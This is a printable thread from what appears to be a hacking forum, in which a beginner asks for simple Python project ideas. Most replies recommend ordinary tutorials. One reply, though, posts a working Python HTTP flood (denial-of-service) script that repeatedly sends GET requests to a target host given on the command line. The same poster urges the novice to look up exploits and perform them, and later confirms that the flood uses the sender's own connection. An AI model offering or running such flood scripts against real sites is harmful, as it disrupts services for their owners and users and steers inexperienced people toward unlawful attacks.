Sinisterly
Python assignment? - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Python (https://sinister.li/Forum-Python)
+--- Thread: Python assignment? (/Thread-Python-assignment)

Pages: 1 2


Python assignment? - LightX - 11-26-2012

Hey people, I just made my first program in python as you probably saw in another thread. I am VERY new with it, and I kinda ran out of ideas of what to do. I would like to know if you guys have any programs you think I should make. These would need to be VERY basic (like 40 lines or less). The program that I made was just something that said "Do you want to know date,time or both?" then you reply and it told you. So it is very basic. Please let me know in a reply to this thread! Smile


RE: Python assignment? - RA1N - 11-26-2012

Code:
import socket, sys, os print "[ Attacking " + sys.argv[1] + " ... ]" print "injecting " + sys.argv[2]; requestsToSend = int(raw_input("How many times would you like to flood?: ")) def HTTPFlood(): #pid = os.fork() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock .connect((sys.argv[1], 80)) print "Flooding..." sock.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") sock.send("Host: " + sys.argv[1] + "\r\n\r\n"); sock.close() for i in range(1, requestsToSend): HTTPFlood()

Thats an example of a DoS script in Python. If you wanted you could try and make some type of stress tester in it. Also look up some exploits and try and perform them in python.


RE: Python assignment? - LightX - 11-26-2012

Hmm..I cant even understand this :p
How does this even work? does it use my connection?


RE: Python assignment? - emad.shaaban92 - 01-07-2013

Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/


RE: Python assignment? - LightX - 01-07-2013

(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?


RE: Python assignment? - ch3rn0byl - 01-07-2013

(11-26-2012, 08:03 PM)LightX Wrote: Hey people, I just made my first program in python as you probably saw in another thread. I am VERY new with it, and I kinda ran out of ideas of what to do. I would like to know if you guys have any programs you think I should make. These would need to be VERY basic (like 40 lines or less). The program that I made was just something that said "Do you want to know date,time or both?" then you reply and it told you. So it is very basic. Please let me know in a reply to this thread! Smile

I have a book called violent python if you want it! Just message me if you want it Smile


RE: Python assignment? - emad.shaaban92 - 01-07-2013

(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money


RE: Python assignment? - LightX - 01-08-2013

(01-07-2013, 08:16 PM)emad.shaaban92 Wrote:
(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money

Thank you very much. +rep for you Smile


RE: Python assignment? - emad.shaaban92 - 01-08-2013

(01-08-2013, 08:05 AM)LightX Wrote:
(01-07-2013, 08:16 PM)emad.shaaban92 Wrote:
(01-07-2013, 07:30 PM)LightX Wrote:
(01-07-2013, 07:27 PM)emad.shaaban92 Wrote: Well, Google has a very cool Python class with some basic and cool exercises.
Give it a Try Smile
https://developers.google.com/edu/python/

Thank you very much! Smile

I have actually moved on from python, and am trying to learn Java now. I looked on google for that to see if they had any Java classes, but they didnt. :/

Do you know of any java places?

You are welcome Smile
Java is cool, but Python is my favorite Smile
Look at www.thenewboston.com , bucky has made a great java tutorials there.
Also CBTNuggets has a very very good Java tutorials but they will cost you some money

Thank you very much. +rep for you Smile

You are welcome bro Smile
If you need any help regarding Java or Python just let me know Smile


RE: Python assignment? - RA1N - 01-09-2013

@MyDoSScriptPost
It connects via HTTP request and yes it uses your own internet connection.